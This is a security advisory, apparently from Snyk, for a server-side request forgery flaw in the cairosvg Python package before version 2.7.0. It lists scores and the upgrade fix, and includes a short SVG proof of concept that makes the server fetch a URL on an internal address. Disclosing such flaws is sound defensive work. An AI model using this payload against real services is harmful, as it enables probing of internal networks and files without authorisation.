Server-side Request Forgery (SSRF) Affecting cairosvg package, versions [,2.7.0)


Severity

0.0
high
0
10

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.08% (35th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PYTHON-CAIROSVG-3366799
  • published 21 Mar 2023
  • disclosed 20 Mar 2023
  • credit Sukhov Mikhail

How to fix?

Upgrade CairoSVG to version 2.7.0 or higher.

Overview

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) when processing an SVG file that loads an external resource from a URL. Attackers can exploit this to access files on the server, or cause the service to hang waiting for a response to an invalid file request. This is exploitable whether or not the optional unsafe option is enabled.

PoC

<?xml version="1.0" standalone="yes"?>
    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
    <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
    <use href="http://192.168.56.1:1234/" />
</svg>

CVSS Scores

version 3.1
Expand this section

Snyk

8.6 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    Low
  • Integrity (I)
    High
  • Availability (A)
    Low
Expand this section

NVD

7.1 high